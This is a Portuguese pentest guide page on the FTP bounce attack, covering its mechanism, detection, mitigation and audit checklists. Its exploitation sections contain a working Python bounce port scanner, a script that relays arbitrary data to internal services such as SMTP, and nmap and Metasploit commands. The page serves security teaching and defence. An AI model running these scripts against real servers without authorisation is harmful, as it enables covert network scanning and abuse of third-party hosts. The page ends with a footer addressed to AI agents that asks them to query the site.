# FTP Bounce Attack ## 📑 **Índice** 1. [Fundamentos do FTP Bounce Attack](#-fundamentos-do-ftp-bounce-attack) 2. [Arquitetura e Mecanismo de Ataque](#-arquitetura-e-mecanismo-de-ataque) 3. [Técnicas de Exploração](#-técnicas-de-exploração) 4. [Ferramentas e Scripts](#-ferramentas-e-scripts) 5. [Detecção e Monitoramento](#-detecção-e-monitoramento) 6. [Mitigação e Prevenção](#-mitigação-e-prevenção) 7. [Checklists de Segurança](#-checklists-de-segurança) 8. [Casos Reais e Referências](#-casos-reais-e-referências) *** ## 🔍 **Fundamentos do FTP Bounce Attack** ### **O que é o FTP Bounce Attack?** O FTP Bounce Attack é uma técnica de exploração que abusa da funcionalidade `PORT` do protocolo FTP (File Transfer Protocol) para forçar um servidor FTP a estabelecer conexões com terceiros em nome do atacante. Essa vulnerabilidade, presente na especificação original do FTP (RFC 959), permite que um atacante utilize o servidor FTP como proxy para escanear portas, acessar serviços internos ou até mesmo enviar dados maliciosos. ### **Contexto Histórico** ```yaml Histórico do FTP Bounce: 1971: FTP é criado (RFC 114) 1985: RFC 959 estabelece o comando PORT 1995: Primeiras discussões sobre abuso do PORT como proxy 1997: Vuln de FTP bounce ganha destaque com ferramentas como nmap 2000: Servidores FTP passam a desabilitar PORT por padrão 2020: Ainda presente em sistemas legados e mal configurados ``` ### **Como o FTP Funciona (Modelo de Conexões)** O FTP utiliza duas conexões separadas: * **Conexão de controle (porta 21):** onde comandos e respostas são trocados. * **Conexão de dados (porta 20 no modo ativo, porta efêmera no modo passivo):** onde arquivos e listagens são transferidos. #### **Modo Ativo (Ativo) – Onde o bounce acontece** No modo ativo, o cliente envia o comando `PORT` informando um endereço IP e uma porta para o servidor conectar-se. O servidor, então, estabelece uma conexão de dados *ativa* para o endereço especificado. **Essa é a base do ataque:** se um atacante conseguir enviar um `PORT` com um IP e porta de terceiros, o servidor FTP conectará nesse destino. ```mermaid sequenceDiagram participant C as Cliente (Atacante) participant S as Servidor FTP participant T as Alvo Terceiro C->>S: PORT 192.168.1.100,21,210 Note over S: Recebe comando PORT S->>T: Conexão de dados para 192.168.1.100:21 T-->>S: Resposta (ex: banner) S->>C: Resposta da conexão ``` *** ## 🏗️ **Arquitetura e Mecanismo de Ataque** ### **Comando PORT e Estrutura** O comando `PORT` tem o formato: `PORT h1,h2,h3,h4,p1,p2` * `h1,h2,h3,h4` = endereço IP em octetos decimais (ex: 192,168,1,100) * `p1,p2` = porta em 2 bytes (porta = p1\*256 + p2) Exemplo: `PORT 192,168,1,100,21,210` → endereço 192.168.1.100, porta 21\*256+210 = 5586 ### **Fluxo de Ataque** 1. Atacante conecta ao servidor FTP vulnerável. 2. Envia comando `PORT` com IP e porta de um terceiro sistema. 3. Servidor tenta abrir conexão de dados para o endereço especificado. 4. Se o terceiro sistema responde (ou não), o servidor FTP reporta o resultado. 5. Atacante repete o processo para diferentes IPs/portas, mapeando serviços. ```mermaid graph TD A[Atacante] -->|Conexão FTP| B[Servidor FTP] B -->|PORT com IP interno| C[Servidor Interno] C -->|Resposta| B B -->|Retorna status| A ``` ### **Tipos de Abuso** * **Port Scanning:** Usar o servidor FTP para escanear portas em redes internas ou externas. * **Bypass de Firewall:** Se o servidor FTP está em uma DMZ, ele pode alcançar redes que o atacante não consegue. * **Ataques a serviços:** Conectar a serviços internos (SMTP, HTTP) e enviar dados maliciosos. * **Falsificação de origem:** O servidor FTP age como proxy, mascarando o IP real do atacante. *** ## ⚔️ **Técnicas de Exploração** ### **1. Port Scanning via FTP Bounce** ```python #!/usr/bin/env python3 # ftp_bounce_scanner.py - Escaneamento de portas usando FTP bounce import socket import sys import time class FTPBounceScanner: def __init__(self, ftp_host, ftp_port=21, username=None, password=None): self.ftp_host = ftp_host self.ftp_port = ftp_port self.username = username self.password = password self.sock = None def connect(self): """Conecta ao servidor FTP e autentica""" self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) self.sock.connect((self.ftp_host, self.ftp_port)) banner = self.sock.recv(1024).decode() if '220' not in banner: return False if self.username: self.sock.send(f"USER {self.username}\r\n".encode()) resp = self.sock.recv(1024).decode() if '331' in resp: self.sock.send(f"PASS {self.password}\r\n".encode()) resp = self.sock.recv(1024).decode() if '230' not in resp: return False return True def send_port(self, ip, port): """Envia comando PORT com IP e porta especificados""" # ip: string like "192.168.1.100" ip_parts = ip.split('.') port_bytes = [port // 256, port % 256] port_cmd = f"PORT {','.join(ip_parts)},{port_bytes[0]},{port_bytes[1]}\r\n" self.sock.send(port_cmd.encode()) resp = self.sock.recv(1024).decode() return resp def scan_port(self, ip, port): """Tenta usar bounce para verificar se porta está aberta""" resp = self.send_port(ip, port) if '200' in resp: # Comando PORT aceito, agora tentar listar (para forçar conexão) self.sock.send(b"LIST\r\n") resp = self.sock.recv(1024).decode() if '150' in resp: # Conexão de dados estabelecida, porta está aberta self.sock.recv(1024) # recebe dados self.sock.recv(1024) # status final return True else: # Se receber 425 (cannot open data connection), porta fechada return False return False def scan_range(self, target_ip, start_port, end_port): """Escanear um intervalo de portas""" for port in range(start_port, end_port+1): print(f"Escaneando {target_ip}:{port}...") if self.scan_port(target_ip, port): print(f"[+] Porta {port} ABERTA") else: print(f"[-] Porta {port} fechada") time.sleep(0.5) # evitar sobrecarga def close(self): if self.sock: self.sock.send(b"QUIT\r\n") self.sock.close() # Exemplo de uso (teste em ambiente controlado) if __name__ == "__main__": scanner = FTPBounceScanner("192.168.1.10", username="anonymous", password="") if scanner.connect(): scanner.scan_range("192.168.1.100", 20, 25) scanner.close() else: print("Falha na conexão FTP") ``` ### **2. Ataque a Serviços (SMTP, HTTP)** Utilizando o comando `PORT` para redirecionar dados para um serviço, é possível enviar comandos maliciosos. ```bash # Conectar ao servidor FTP e enviar PORT para servidor SMTP $ ftp 192.168.1.10 Connected to 192.168.1.10. 220 Welcome Name: anonymous 331 Guest login ok Password: 230 Login successful ftp> PORT 192,168,1,100,25,0 200 PORT command successful ftp> STOR mail.txt # O servidor FTP enviará o conteúdo de mail.txt para 192.168.1.100:25 (SMTP) ``` ### **3. Escaneamento de Rede Interna** Se o servidor FTP está em uma DMZ e tem acesso à rede interna, ele pode ser usado como pivô para mapear hosts internos: ```python # varredura de IPs internos (ex: 10.0.0.1 a 10.0.0.254) for i in range(1, 255): ip = f"10.0.0.{i}" if scanner.scan_port(ip, 80): # testa se porta 80 está aberta print(f"Host {ip} com HTTP") ``` *** ## 🛠️ **Ferramentas e Scripts** ### **Nmap ftp-bounce Script** O Nmap possui um script específico para detectar e explorar servidores FTP vulneráveis a bounce. ```bash # Detectar se o servidor permite bounce nmap -p 21 --script ftp-bounce # Usar o servidor bounce para escanear um host alvo nmap -Pn -sS -p 1-1000 --script ftp-bounce --script-args ftp-bounce.host= ``` ### **Metasploit – FTP Bounce** Módulo `auxiliary/scanner/ftp/ftp_bounce` permite escanear portas via bounce. ``` msf6 > use auxiliary/scanner/ftp/ftp_bounce msf6 > set RHOSTS msf6 > set BOUNCEHOST msf6 > set RPORT 21 msf6 > set THREADS 10 msf6 > run ``` ### **Script em Python – FTP Bounce Attack** ```python # ftp_bounce_attack.py - Envio de dados maliciosos via bounce import socket def send_data_via_bounce(ftp_host, ftp_user, ftp_pass, target_ip, target_port, data): sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.connect((ftp_host, 21)) sock.recv(1024) sock.send(f"USER {ftp_user}\r\n".encode()) sock.recv(1024) sock.send(f"PASS {ftp_pass}\r\n".encode()) sock.recv(1024) ip_parts = target_ip.split('.') port_bytes = [target_port // 256, target_port % 256] port_cmd = f"PORT {','.join(ip_parts)},{port_bytes[0]},{port_bytes[1]}\r\n" sock.send(port_cmd.encode()) resp = sock.recv(1024).decode() if '200' not in resp: print("PORT falhou") return # Enviar dados via STOR sock.send(b"STOR data\r\n") resp = sock.recv(1024).decode() if '150' in resp: # Dados serão enviados para o alvo sock.send(data.encode()) sock.send(b"\r\n") sock.recv(1024) sock.close() ``` *** ## 🔍 **Detecção e Monitoramento** ### **Sinais de Abuso** * Logs do servidor FTP com comandos `PORT` apontando para IPs não esperados (especialmente IPs de terceiros) * Múltiplos comandos `PORT` em sequência, indicando varredura * Conexões de dados para portas incomuns (ex: 25, 80, 443) * Tentativas de `LIST` ou `STOR` logo após um `PORT` suspeito ### **Logs e Análise** ```bash # Exemplo de log vsftpd Thu Apr 1 10:15:33 2024 [pid 12345] [ftp] CONNECT: Client "192.168.1.50" Thu Apr 1 10:15:34 2024 [pid 12345] [ftp] OK LOGIN: Client "192.168.1.50" Thu Apr 1 10:15:35 2024 [pid 12345] [ftp] PORT command: 192.168.1.100,25,0 Thu Apr 1 10:15:36 2024 [pid 12345] [ftp] FAIL LIST: No data connection ``` ### **Ferramentas de Monitoramento** * **Snort:** regras para detectar `PORT` com IPs externos não esperados. * **Suricata:** similar. * **Wireshark:** filtro `ftp.request.command == "PORT"`. *** ## 🛡️ **Mitigação e Prevenção** ### **1. Desabilitar Comando PORT** A maneira mais eficaz é desabilitar o comando `PORT` e forçar o modo passivo (PASV) onde o servidor decide a porta de dados. **vsftpd:** ```bash # vsftpd.conf port_enable=NO pasv_enable=YES ``` **ProFTPD:** ```bash # proftpd.conf DenyAll ``` **Pure-FTPd:** ```bash # pure-ftpd.conf NoPORT 1 ``` ### **2. Restringir IPs Permitidos** Se for necessário usar o modo ativo, limite os destinos dos comandos `PORT` a um conjunto de IPs confiáveis. **Exemplo com iptables (bloquear tráfego de dados para IPs não permitidos):** ```bash # Bloquear todas as conexões de dados saídas iptables -A OUTPUT -p tcp --sport 20 -j DROP # Permitir apenas para rede local iptables -A OUTPUT -p tcp --sport 20 -d 192.168.0.0/16 -j ACCEPT ``` ### **3. Firewall de Aplicação (WAF)** Inspecionar tráfego FTP e bloquear comandos `PORT` que apontam para IPs externos não autorizados. ### **4. Atualização e Configuração Padrão** * Use versões atualizadas de servidores FTP (muitas já desabilitam PORT por padrão). * Evite usar FTP anônimo com permissão de escrita. *** ## 📋 **Checklists de Segurança** ### **Checklist de Configuração Segura** * [ ] Desabilitar modo ativo (`port_enable=NO`) * [ ] Forçar modo passivo (`pasv_enable=YES`) * [ ] Remover permissão de escrita para usuários anônimos * [ ] Limitar número de conexões e taxa de comandos * [ ] Restringir IPs para conexões de dados (se necessário) * [ ] Habilitar logging detalhado e monitorar comandos PORT * [ ] Usar FTPS (FTP sobre SSL/TLS) para criptografar comandos ### **Checklist de Auditoria** * [ ] Testar se o servidor aceita comandos `PORT` para IPs arbitrários * [ ] Verificar logs por múltiplos `PORT` em sequência * [ ] Escanear internamente usando um servidor FTP bounce (com autorização) * [ ] Validar se há serviços internos acessíveis via bounce *** ## 📊 **Casos Reais e Referências** ### **Caso 1: FTP Bounce usado em Ataques a Redes Internas** Em 1999, um atacante usou um servidor FTP público (da universidade) para escanear a rede interna de uma empresa, descobrindo uma máquina Windows com NetBIOS aberto, que foi comprometida. ### **Caso 2: Ataque a Servidor SMTP** Em 2001, um worm (FTPBounce.Worm) usava servidores FTP vulneráveis para enviar e-mails via SMTP, propagando-se. ### **Referências** * RFC 959 – File Transfer Protocol (especificação original) * CERT Advisory CA-1997-27 – FTP Bounce Attack * OWASP – FTP Bounce Attack * Nmap Network Scanning – ftp-bounce script *** ## 🔐 **Conclusão e Boas Práticas** ### **Resumo Técnico** ```yaml FTP Bounce Attack é uma vulnerabilidade clássica que: ✅ Permite escanear portas e acessar redes internas via servidor FTP ✅ Explora a funcionalidade legítima do comando PORT ✅ Pode contornar firewalls e restrições de rede Defesas essenciais: ❌ Nunca permitir modo ativo sem restrições ✓ Desabilitar comando PORT sempre que possível ✓ Forçar modo passivo (PASV) ✓ Monitorar logs para comportamentos anômalos ``` ### **Recomendações Finais** 1. **Para Administradores:** Desabilite o comando `PORT` e use apenas modo passivo. Se necessário usar modo ativo, restrinja os destinos por firewall. 2. **Para Pentesters:** Teste a presença de bounce para mapear redes internas, mas lembre-se de obter autorização. 3. **Para Desenvolvedores:** Ao implementar clientes FTP, evite usar o comando `PORT` para conexões de dados; prefira `PASV`. **🔐 Lembre-se:** O FTP bounce é uma vulnerabilidade antiga, mas ainda presente em sistemas mal configurados. Sua exploração pode levar a sérios comprometimentos de segurança, especialmente em ambientes onde o servidor FTP tem acesso a redes internas. --- # Agent Instructions: Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the `ask` query parameter: ``` GET https://0xmorte.gitbook.io/bibliadopentestbr/tecnicas/rede-and-infraestrutura/ftp-bounce-attack.md?ask= ``` The question should be specific, self-contained, and written in natural language. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.